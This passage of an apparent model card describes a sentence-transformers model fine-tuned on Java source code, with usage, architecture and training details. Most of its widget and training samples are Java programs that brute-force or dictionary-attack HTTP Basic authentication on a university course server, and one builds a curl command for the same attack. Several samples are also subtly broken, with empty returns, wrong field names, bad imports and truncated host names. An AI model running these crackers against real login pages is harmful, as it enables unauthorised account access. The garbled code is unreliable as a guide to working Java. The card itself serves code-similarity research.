\ 'a',\n 'b',\n 'c',\n 'd',\n \
\ 'e',\n 'f',\n 'g',\n 'h',\n \
\ 'i',\n 'j',\n 'k',\n 'l',\n 'm',\n\
\ 'n',\n 'o',\n 'p',\n 'q',\n \
\ 'r',\n 's',\n 't',\n 'u',\n \
\ 'v',\n 'w',\n 'x',\n 'y',\n 'z',\n\
\ 'A',\n 'B',\n 'C',\n 'D',\n \
\ 'E',\n 'F',\n 'G',\n 'H',\n \
\ 'I',\n 'J',\n 'K',\n 'L',\n 'M',\n\
\ 'N',\n 'O',\n 'P',\n 'Q',\n \
\ 'R',\n 'S',\n 'T',\n 'U',\n \
\ 'V',\n 'W',\n 'X',\n 'Y',\n 'Z',\n\
\ ' '};\n \n public BruteForce()\n {\n }\n\n \n public\
\ void process()\n {\n StringBuffer password = new StringBuffer(\"aaa\"\
);\n \n setStart(new Timestamp(System.currentTimeMillis()));\n\n\
\ for (int i = 0;\n i < letters.length - 1;\n password.setCharAt(0,\
\ letters[i]), i++)\n {\n for (int i2 = 0;\n \
\ i2 < letters.length;\n password.setCharAt(1, letters[i2]), i2++)\n\
\ {\n for (int i3 = 0;\n i3 < letters.length;\n\
\ password.setCharAt(2, letters[i3]), i3++)\n \
\ {\n try\n {\n \
\ attempts++;\n\n BasicAuthHttpRequest req =\n \
\ new BasicAuthHttpRequest(\n \
\ getURL(),\n getUserName(),\n \
\ password.toString().trim());\n setPassword(password.toString());\n\
\ setEnd(new Timestamp(System.currentTimeMillis()));\n\
\ setContent(req.getContent().toString());\n\n \
\ \n if (getFileName() != null && getFileName().length()\
\ > 0)\n {\n createReport();\n\
\ }\n return;\n \
\ }\n catch (MalformedURLException e)\n \
\ {\n e.printStackTrace();\n \
\ return;\n }\n catch (IOException e)\n\
\ {\n\n }\n }\n \
\ }\n }\n\n \n setEnd(new Timestamp(System.currentTimeMillis()));\n\
\n\n }\n\n \n public void createReport()\n {\n OutputStream\
\ os = null;\n try\n {\n os = new BufferedOutputStream(\n\
\ new FileOutputStream(getFileName(), false));\n \
\ os.write(printResult().getBytes());\n }\n catch (FileNotFoundException\
\ e)\n {\n e.printStackTrace();\n }\n catch (IOException\
\ e)\n {\n e.printStackTrace();\n }\n finally\n\
\ {\n if (os != null)\n {\n try\n\
\ {\n os.close();\n }\n \
\ catch (IOException e)\n {\n }\n \
\ }\n }\n }\n\n \n public String printResult()\n {\n\
\ StringBuffer s = new StringBuffer();\n\n s.append(\"** \" + this.getClass().getName()\
\ + \" Results **\\n\\n\");\n s.append(\"Password: \" + getPassword() +\
\ \"\\n\\n\");\n\n s.append(\"Attempts : \" + attempts + \"\\n\\n\");\n\
\n s.append(\n \"Time (seconds): \"\n + (getEnd().getTime()\
\ - getStart().getTime()) / 1000\n + \"\\n\\n\");\n s.append(\"\
Content: \\n\" + getContent() + \"\\n\\n\");\n\n return s.toString();\n\
\ }\n\n public String printUsage()\n {\n StringBuffer s = new\
\ StringBuffer();\n\n s.append(\"** BruteForce proper usage **\\n\\n\"\
);\n s.append(\n \"java ..httputils.BruteForce <URL> <UserName>\
\ <OutputFile - Optional>\\n\\n\");\n\n return s.toString();\n }\n\n\
\ public static void main(String[] args)\n {\n BruteForce bruteForce\
\ = new BruteForce();\n\n if (args.length < 2)\n {\n \
\ System.out.println(bruteForce.printUsage());\n }\n else\n \
\ {\n bruteForce.setURL(args[0]);\n bruteForce.setUserName(args[1]);\n\
\ if (args.length > 2)\n {\n bruteForce.setFileName(args[2]);\n\
\ }\n bruteForce.process();\n System.out.println(bruteForce.printResult());\n\
\ }\n }\n\n \n\n \n public Timestamp getEnd()\n {\n \
\ return end;\n }\n\n \n public Timestamp getStart()\n {\n \
\ return ;\n }\n\n \n public void setEnd(Timestamp timestamp)\n \
\ {\n end = timestamp;\n }\n\n \n public void setStart(Timestamp\
\ timestamp)\n {\n time = timestamp;\n }\n\n \n public String\
\ getURL()\n {\n return URL;\n }\n\n \n public void setURL(String\
\ string)\n {\n URL = string;\n }\n\n \n public String getUserName()\n\
\ {\n return userName;\n }\n\n \n public void setUserName(String\
\ string)\n {\n userName = string;\n }\n\n \n public String\
\ getContent()\n {\n return content;\n }\n\n \n public void\
\ setContent(String string)\n {\n content = string;\n }\n\n \n\
\ public String getPassword()\n {\n return password;\n }\n\n \
\ \n public void setPassword(String string)\n {\n password = string;\n\
\ }\n\n \n public String getFileName()\n {\n return fileName;\n\
\ }\n\n \n public void setFileName(String string)\n {\n fileName\
\ = string;\n }\n\n}\n"
- "\n\n\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\n\npublic class\
\ Dictionary\n{\n\n static BufferedReader in = null;\n static MyAuthenticator\
\ Auth = new MyAuthenticator();\n\n \n public static void main(String[] args)\
\ throws IOException\n {\n int tmp = 0;\n String str =\"\";\n \
\ Authenticator.setDefault(Auth);\n \n try\n {\n URL url =\
\ new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\n \n \
\ \n while(tmp!=1)\n {\n try\n {\n\
\ in = new BufferedReader(new InputStreamReader(url.openStream()));\n\
\ tmp=1;\n }\n catch (IOException e) {}\n\
\ \n } \n\n while ((str = in.readLine()) !=\
\ null) \n {\n \n \n \n }\n \
\ \n\n System.out.println(\"The successful Password found using\
\ a Dictionary search is = \" + Auth.finalPass());\n\n } \n catch (MalformedURLException\
\ e) \n {System.out.println(\"mfURL\");}\n } \n\n\n}\n\nclass MyAuthenticator\
\ extends Authenticator \n{\n String username = \"\";\n static String password\
\ = \"\";\n \n static String DictFile = \"/usr/share/lib/dict/words\";\n \
\ static BufferedReader fReader;\n\n public MyAuthenticator()\n {\n \
\ try\n {\n fReader = new BufferedReader\n \
\ (new FileReader(DictFile));\n }\n catch (FileNotFoundException\
\ e)\n {\n System.out.println(\"File \" +DictFile+ \" Not Found\"\
);\n System.out.println(\" File Opened\");\n System.exit(1);\n\
\ }\n catch (IOException e)\n {\n System.out.println(\"\
File Failed..\");\n System.exit(1);\n }\n\n }\n\n static void\
\ setPass(String pswd)\n {\n password = pswd;\n }\n\n static String\
\ finalPass()\n {\n return password;\n }\n\n static String getPass()\n\
\ {\n try\n {\n if ((password = fReader.readLine()) == null)\n\
\ {\n System.out.println(\"Password Not found in file '\" +\
\ DictFile +\"'.\");\n System.exit(1);\n }\n }\n \
\ catch (IOException ioe)\n {\n System.out.println(\"File IOException\"\
);\n System.out.println(ioe);\n }\n\n return password;\n }\n\
\n\n\n protected PasswordAuthentication getPasswordAuthentication() \n { \n\
\ \n return new PasswordAuthentication(username, getPass().toCharArray());\
\ \n\n } \n}\n"
- source_sentence: "\npublic class ImageFile\n{\n\tprivate String imageUrl;\n\tprivate\
\ int imageSize;\n\n\tpublic ImageFile(String url, int size)\n\t{\n\t\timageUrl=url;\n\
\t\timageSize=size;\n\t}\n\n\tpublic String getImageUrl()\n\t{\n\t\treturn imageUrl;\n\
\t}\n\n\tpublic int getImageSize()\n\t{\n\t\treturn imageSize;\n\t}\n}\n"
sentences:
- "import java.io.*;\nimport java.net.*;\n\npublic class BruteForce {\n public\
\ static void main(String[] args) {\n BruteForce brute=new BruteForce();\n\
\ brute.start();\n\n\n }\n\n\npublic void start() {\nchar passwd[]= new\
\ char[3];\nString password;\nString username=\"\";\nString auth_data;\nString\
\ server_res_code;\nString required_server_res_code=\"200\";\nint cntr=0;\n\n\
try {\n\nURL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\nURLConnection\
\ conn=null;\n\n\n for (int i=65;i<=122;i++) {\n if(i==91)\
\ { i=i+6; }\n passwd[0]= (char) i;\n\n for (int j=65;j<=122;j++)\
\ {\n if(j==91) { j=j+6; }\n passwd[1]=(char) j;\n\
\n for (int k=65;k<=122;k++) {\n if(k==91) { k=k+6;\
\ }\n passwd[2]=(char) k;\n password=new String(passwd);\n\
\ password=password.trim();\n auth_data=null;\n\
\ auth_data=username + \":\" + password;\n auth_data=auth_data.trim();\n\
\ auth_data=getBasicAuthData(auth_data);\n auth_data=auth_data.trim();\n\
\ conn=url.openConnection();\n conn.setDoInput (true);\n\
\ conn.setDoOutput(true);\n conn.setRequestProperty(\"\
GET\", \"/SEC/2/ HTTP/1.1\");\n conn.setRequestProperty (\"Authorization\"\
, auth_data);\n server_res_code=conn.getHeaderField(0);\n \
\ server_res_code=server_res_code.substring(9,12);\n \
\ server_res_code.trim();\n cntr++;\n System.out.println(cntr\
\ + \" . \" + \"PASSWORD SEND : \" + password + \" SERVER RESPONSE : \" + server_res_code);\n\
\ if( server_res_code.compareTo(required_server_res_code)==0 )\n\
\ {System.out.println(\"PASSWORD IS : \" + password + \" SERVER\
\ RESPONSE : \" + server_res_code );\n i=j=k=123;}\n \
\ }\n\n \
\ }\n\n }\n }\n catch (Exception\
\ e) {\n System.err.print(e);\n }\n }\n\npublic String getBasicAuthData\
\ (String getauthdata) {\n\nchar base64Array [] = {\n 'A', 'B', 'C', 'D',\
\ 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\
\ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\
\ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r',\
\ 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4',\
\ '5', '6', '7', '8', '9', '+', '/' } ;\n\n String encodedString = \"\";\n\
\ byte bytes [] = getauthdata.getBytes ();\n int i = 0;\n int pad = 0;\n\
\ while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n\
\ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\
\ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\
\ if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n\
\ }\n else\n b3 = bytes [i++];\n }\n \
\ byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2\
\ >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte\
\ c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString\
\ += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString\
\ += base64Array [c3];\n encodedString += base64Array [c4];\n \
\ break;\n case 1:\n encodedString += base64Array [c3];\n \
\ encodedString += \"=\";\n break;\n case 2:\n encodedString\
\ += \"==\";\n break;\n }\n }\n return \" \" + encodedString;\n\
\ }\n}"
- "package java.httputils;\n\nimport java.io.IOException;\nimport java.net.MalformedURLException;\n\
import java.sql.Timestamp;\n\n\npublic class RunnableBruteForce extends BruteForce\
\ implements Runnable\n{\n protected int rangeStart, rangeEnd;\n protected\
\ boolean stop = false;\n \n public RunnableBruteForce()\n {\n \
\ super();\n }\n\n \n public void run()\n {\n process();\n\
\ }\n\n public static void main(String[] args)\n {\n }\n \n \
\ public int getRangeEnd()\n {\n return rangeEnd;\n }\n\n \n \
\ public int getRangeStart()\n {\n return rangeStart;\n }\n\n \
\ \n public void setRangeEnd(int i)\n {\n rangeEnd = i;\n }\n\
\n \n public void setRangeStart(int i)\n {\n rangeStart = i;\n\
\ }\n\n \n public boolean isStop()\n {\n return stop;\n \
\ }\n\n \n public void setStop(boolean b)\n {\n stop = b;\n \
\ }\n\n public void process()\n {\n String password = \"\";\n \
\ \n System.out.println(Thread.currentThread().getName() +\n \
\ \"-> workload: \" +\n this.letters[getRangeStart()]\
\ + \" \" +\n this.letters[getRangeEnd() - 1]);\n\
\ setStart(new Timestamp(System.currentTimeMillis()));\n\n for (int\
\ i = getRangeStart();\n i < getRangeEnd();\n i++)\n \
\ {\n System.out.println(Thread.currentThread().getName() +\n \
\ \"-> Trying words beginning with: \" +\n \
\ letters[i]);\n for (int i2 = 0;\n i2 < letters.length;\n\
\ i2++)\n {\n for (int i3 = 0;\n \
\ i3 < letters.length;\n i3++)\n \
\ {\n if (isStop())\n {\n \
\ return;\n }\n try\n \
\ {\n char [] arr = new char [] {letters[i],\
\ letters[i2], letters[i3]};\n String pwd = new String(arr);\n\
\ \n if (Thread.currentThread().getName().equals(\"\
Thread-1\") && pwd.equals(\"bad\"))\n {\n \
\ System.out.println(Thread.currentThread().getName() +\n \
\ \"-> Trying password: \" +\n \
\ pwd);\n }\n attempts++;\n\
\n BasicAuthHttpRequest req =\n \
\ new BasicAuthHttpRequest(\n getURL(),\n \
\ getUserName(),\n \
\ pwd);\n System.out.println(\"Got the password\");\n\
\ setPassword(pwd);\n setEnd(new\
\ Timestamp(System.currentTimeMillis()));\n setContent(req.getContent().toString());\n\
\n \n this.setChanged();\n \
\ this.notifyObservers(this.getContent());\n \
\ return;\n }\n catch (MalformedURLException\
\ e)\n {\n e.printStackTrace();\n \
\ return;\n }\n catch\
\ (IOException e)\n {\n\n }\n \
\ }\n }\n }\n\n \n setEnd(new Timestamp(System.currentTimeMillis()));\n\
\ }\n\n}\n"
- "\n\nclass WebPage\n{\n \n \n private boolean success = false;\n \n\
\ private String pageContents= \"\";\n \n\n\t\n public WebPage()\n \
\ {\n }\n \n\t\n public void setSuccess (boolean inSuccess)\n {\n\
\ success = inSuccess;\n }\n \n\t\n public boolean getSuccess()\n\
\ {\n return success;\n }\n \n\t\n public void setPageContents\
\ (String inPage)\n {\n pageContents = inPage;\n }\n \n\t\n \
\ public String getPageContents()\n {\n return pageContents;\n }\n\
} \n"
pipeline_tag: sentence-similarity
library_name: sentence-transformers
---
# SentenceTransformer based on microsoft/unixcoder-base-unimodal
This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal). It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
## Model Details
### Model Description
- **Model Type:** Sentence Transformer
- **Base model:** [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) <!-- at revision c6b7b85380bf4e01309a3cf5e4f686433764d923 -->
- **Maximum Sequence Length:** 512 tokens
- **Output Dimensionality:** 768 dimensions
- **Similarity Function:** Cosine Similarity
<!-- - **Training Dataset:** Unknown -->
<!-- - **Language:** Unknown -->
<!-- - **License:** Unknown -->
### Model Sources
- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)
### Full Model Architecture
```
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
```
## Usage
### Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
```bash
pip install -U sentence-transformers
```
Then you can load this model and run inference.
```python
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-UniXcoder-ST")
# Run inference
sentences = [
'\npublic class ImageFile\n{\n\tprivate String imageUrl;\n\tprivate int imageSize;\n\n\tpublic ImageFile(String url, int size)\n\t{\n\t\timageUrl=url;\n\t\timageSize=size;\n\t}\n\n\tpublic String getImageUrl()\n\t{\n\t\treturn imageUrl;\n\t}\n\n\tpublic int getImageSize()\n\t{\n\t\treturn imageSize;\n\t}\n}\n',
'import java.io.*;\nimport java.net.*;\n\npublic class BruteForce {\n public static void main(String[] args) {\n BruteForce brute=new BruteForce();\n brute.start();\n\n\n }\n\n\npublic void start() {\nchar passwd[]= new char[3];\nString password;\nString username="";\nString auth_data;\nString server_res_code;\nString required_server_res_code="200";\nint cntr=0;\n\ntry {\n\nURL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\nURLConnection conn=null;\n\n\n for (int i=65;i<=122;i++) {\n if(i==91) { i=i+6; }\n passwd[0]= (char) i;\n\n for (int j=65;j<=122;j++) {\n if(j==91) { j=j+6; }\n passwd[1]=(char) j;\n\n for (int k=65;k<=122;k++) {\n if(k==91) { k=k+6; }\n passwd[2]=(char) k;\n password=new String(passwd);\n password=password.trim();\n auth_data=null;\n auth_data=username + ":" + password;\n auth_data=auth_data.trim();\n auth_data=getBasicAuthData(auth_data);\n auth_data=auth_data.trim();\n conn=url.openConnection();\n conn.setDoInput (true);\n conn.setDoOutput(true);\n conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1");\n conn.setRequestProperty ("Authorization", auth_data);\n server_res_code=conn.getHeaderField(0);\n server_res_code=server_res_code.substring(9,12);\n server_res_code.trim();\n cntr++;\n System.out.println(cntr + " . " + "PASSWORD SEND : " + password + " SERVER RESPONSE : " + server_res_code);\n if( server_res_code.compareTo(required_server_res_code)==0 )\n {System.out.println("PASSWORD IS : " + password + " SERVER RESPONSE : " + server_res_code );\n i=j=k=123;}\n }\n\n }\n\n }\n }\n catch (Exception e) {\n System.err.print(e);\n }\n }\n\npublic String getBasicAuthData (String getauthdata) {\n\nchar base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\' } ;\n\n String encodedString = "";\n byte bytes [] = getauthdata.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return " " + encodedString;\n }\n}',
'package java.httputils;\n\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class RunnableBruteForce extends BruteForce implements Runnable\n{\n protected int rangeStart, rangeEnd;\n protected boolean stop = false;\n \n public RunnableBruteForce()\n {\n super();\n }\n\n \n public void run()\n {\n process();\n }\n\n public static void main(String[] args)\n {\n }\n \n public int getRangeEnd()\n {\n return rangeEnd;\n }\n\n \n public int getRangeStart()\n {\n return rangeStart;\n }\n\n \n public void setRangeEnd(int i)\n {\n rangeEnd = i;\n }\n\n \n public void setRangeStart(int i)\n {\n rangeStart = i;\n }\n\n \n public boolean isStop()\n {\n return stop;\n }\n\n \n public void setStop(boolean b)\n {\n stop = b;\n }\n\n public void process()\n {\n String password = "";\n \n System.out.println(Thread.currentThread().getName() +\n "-> workload: " +\n this.letters[getRangeStart()] + " " +\n this.letters[getRangeEnd() - 1]);\n setStart(new Timestamp(System.currentTimeMillis()));\n\n for (int i = getRangeStart();\n i < getRangeEnd();\n i++)\n {\n System.out.println(Thread.currentThread().getName() +\n "-> Trying words beginning with: " +\n letters[i]);\n for (int i2 = 0;\n i2 < letters.length;\n i2++)\n {\n for (int i3 = 0;\n i3 < letters.length;\n i3++)\n {\n if (isStop())\n {\n return;\n }\n try\n {\n char [] arr = new char [] {letters[i], letters[i2], letters[i3]};\n String pwd = new String(arr);\n \n if (Thread.currentThread().getName().equals("Thread-1") && pwd.equals("bad"))\n {\n System.out.println(Thread.currentThread().getName() +\n "-> Trying password: " +\n pwd);\n }\n attempts++;\n\n BasicAuthHttpRequest req =\n new BasicAuthHttpRequest(\n getURL(),\n getUserName(),\n pwd);\n System.out.println("Got the password");\n setPassword(pwd);\n setEnd(new Timestamp(System.currentTimeMillis()));\n setContent(req.getContent().toString());\n\n \n this.setChanged();\n this.notifyObservers(this.getContent());\n return;\n }\n catch (MalformedURLException e)\n {\n e.printStackTrace();\n return;\n }\n catch (IOException e)\n {\n\n }\n }\n }\n }\n\n \n setEnd(new Timestamp(System.currentTimeMillis()));\n }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
```
<!--
### Direct Usage (Transformers)
<details><summary>Click to see the direct usage in Transformers</summary>
</details>
-->
<!--
### Downstream Usage (Sentence Transformers)
You can finetune this model on your own dataset.
<details><summary>Click to expand</summary>
</details>
-->
<!--
### Out-of-Scope Use
*List how the model may foreseeably be misused and address what users ought not to do with the model.*
-->
<!--
## Bias, Risks and Limitations
*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
-->
<!--
### Recommendations
*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
-->
## Training Details
### Training Dataset
#### Unnamed Dataset
* Size: 33,411 training samples
* Columns: <code>sentence_0</code>, <code>sentence_1</code>, and <code>label</code>
* Approximate statistics based on the first 1000 samples:
| | sentence_0 | sentence_1 | label |
|:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-----------------------------------------------|
| type | string | string | int |
| details | <ul><li>min: 51 tokens</li><li>mean: 449.02 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 464.04 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>0: ~99.80%</li><li>1: ~0.20%</li></ul> |
* Samples:
| sentence_0 | sentence_1 | label |
|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------|
| <code><br><br><br><br><br>import java.io.*;<br>import java.net.*;<br><br><br><br>public class BruteForce<br>{<br> public static void main(String args[]) throws IOException,<br> MalformedURLException<br> {<br> final String username = "";<br> final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/";<br> <br> String temppass;<br> String password = "";<br> URL url = new URL(fullurl);<br> boolean cracked = false;<br> <br> String c[] = {"A","B","C","D","E","F","G","H","I","J","K","L","M","N","O",<br> "P","Q","R","S","T","U","V","W","X","Y","Z","a","b","c","d",<br> "e","f","g","h","i","j","k","l","m","n","o","p","q","r","s",<br> "t","u","v","w","x","y","z"};<br> <br> startTime = System.currentTimeMillis();<br> <br> <br> <br> for(int i = 0; i < 52 && !cracked; i++) {<br> temppass = c[i]; <br> Authenticator.setDefault(new MyAuthenticator(username, temppass));<br> try{<br> <br> <br> BufferedReader r = ...</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br><br>public class SendEMail {<br><br> public void SendEMail(){}<br><br>public void sendMail(String recipient,String c, String subject){<br> try {<br><br> Socket s = new Socket("yallara.cs.rmit.edu.", 25);<br> BufferedReader in = new BufferedReader<br> (new InputStreamReader(s.getInputStream(), "8859_1"));<br> BufferedWriter out = new BufferedWriter<br> (new OutputStreamWriter(s.getOutputStream(), "8859_1"));<br><br> send(in, out, "HELO theWorld");<br> <br> <br> send(in, out, "MAIL FROM: <watch@dog.>");<br> send(in, out, "RCPT : "+recipient);<br> send(in, out, "DATA");<br> send(out, "Subject: "+ subject);<br> send(out, "From: WatchDog.java");<br> send (out, "\n");<br> <br> BufferedReader reader;<br> String line;<br> reader = new BufferedReader(new InputStreamReader(new FileInputStream()));<br> line = reader.readLine();<br> while (line != null){<br> send(out, line);<br> line = reader.readLine();<br> }<br> send...</code> | <code>0</code> |
| <code>import java.util.*;<br>import java.net.*;<br>import java.io.*; <br><br>public class Dictionary<br>{<br> boolean connected = false;<br> int counter;<br> <br> Vector words = new Vector();<br> <br> Dictionary()<br> {<br> counter = 0;<br> this.readWords(); <br> this.startAttack();<br> } <br> <br> public void startAttack()<br> {<br> while(counter<this.words.size())<br> {<br> connected = sendRequest();<br> if(connected == true)<br> {<br> System.out.print("The password is: ");<br> System.out.println((String)words.elementAt(counter-1));<br> counter = words.size();<br> }<br> }<br> }<br> <br><br> public void readWords()<br> {<br> String line;<br><br> try<br> {<br> BufferedReader buffer = new BufferedReader(<br> new FileReader("/usr/share/lib/dict/words"));<br> <br> line = buffer.readLine();<br><br> while(line != null)<br> {<br><br> if(line.length() <= 3)<br> ...</code> | <code><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>import java.io.*;<br>import java.net.*;<br>import java.net.URL;<br>import java.net.URLConnection;<br>import java.util.*;<br><br>public class BruteForce {<br><br> public static void main(String[] args) throws IOException {<br><br> <br> int start , end, total;<br> start = System.currentTimeMillis(); <br><br> String username = "";<br> String password = null;<br> String host = "http://sec-crack.cs.rmit.edu./SEC/2/";<br><br> <br> <br> String letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";<br> int lettersLen = letters.length(); <br> int passwordLen=3; <br><br> int passwords=0; <br> int twoChar=0; <br><br> url.misc.BASE64Encoder base = new url.misc.BASE64Encoder();<br> <br><br> <br> String authenticate = ""; <br> String realm = null, domain = null, hostname = null;<br> header = null; <br><br> <br> int responseCode;<br> String responseMsg;<br><br> <br> int temp1=0;<br> int temp2=0;<br> int temp3=0;<br><br><br> <br> <br> <br> for (int a=...</code> | <code>0</code> |
| <code><br><br><br><br>public class SMTPException extends Exception {<br><br> private String msg; <br> <br> public SMTPException(String message) {<br> msg = message;<br> }<br><br> <br> public String getMessage() {<br> return msg;<br> }<br>}</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br><br>import java.*;<br>import java.util.*;<br><br>public class Dictionary {<br><br> private static String commandLine = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";<br> private String password; <br> private String previous; <br> private String url; <br> private int startTime;<br> private int endTime;<br> private int totalTime;<br> private float averageTime;<br> private boolean finish;<br> private Process curl;<br> private BufferedReader bf, responseLine;<br><br> public Dictionary() {<br><br> first();<br> finish = true; <br> previous = ""; <br> Runtime run = Runtime.getRuntime();<br> startTime =new Date().getTime(); <br> int i=0;<br> try {<br> try {<br> bf = new BufferedReader(new FileReader("words"));<br> }<br> catch(FileNotFoundException notFound) {<br> bf = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));<br> }<br><br> while((password = bf.readLine()) != null) {<br> if(password....</code> | <code>0</code> |
* Loss: [<code>BatchAllTripletLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#batchalltripletloss)
### Training Hyperparameters
#### Non-Default Hyperparameters
- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 16
- `num_train_epochs`: 1
- `fp16`: True
- `multi_dataset_batch_sampler`: round_robin
#### All Hyperparameters
<details><summary>Click to expand</summary>
- `overwrite_output_dir`: False
- `do_predict`: False
- `eval_strategy`: no
- `prediction_loss_only`: True
- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 16
- `per_gpu_train_batch_size`: None
- `per_gpu_eval_batch_size`: None
- `gradient_accumulation_steps`: 1
- `eval_accumulation_steps`: None
- `torch_empty_cache_steps`: None
- `learning_rate`: 5e-05
- `weight_decay`: 0.0
- `adam_beta1`: 0.9
- `adam_beta2`: 0.999
- `adam_epsilon`: 1e-08
- `max_grad_norm`: 1
- `num_train_epochs`: 1
- `max_steps`: -1
- `lr_scheduler_type`: linear
- `lr_scheduler_kwargs`: {}
- `warmup_ratio`: 0.0
- `warmup_steps`: 0
- `log_level`: passive
- `log_level_replica`: warning
- `log_on_each_node`: True
- `logging_nan_inf_filter`: True
- `save_safetensors`: True
- `save_on_each_node`: False
- `save_only_model`: False
- `restore_callback_states_from_checkpoint`: False
- `no_cuda`: False
- `use_cpu`: False
- `use_mps_device`: False
- `seed`: 42
- `data_seed`: None
- `jit_mode_eval`: False
- `use_ipex`: False
- `bf16`: False
- `fp16`: True
- `fp16_opt_level`: O1
- `half_precision_backend`: auto
- `bf16_full_eval`: False
- `fp16_full_eval`: False
- `tf32`: None
- `local_rank`: 0
- `ddp_backend`: None
- `tpu_num_cores`: None
- `tpu_metrics_debug`: False
- `debug`: []
- `dataloader_drop_last`: False
- `dataloader_num_workers`: 0
- `dataloader_prefetch_factor`: None
- `past_index`: -1
- `disable_tqdm`: False
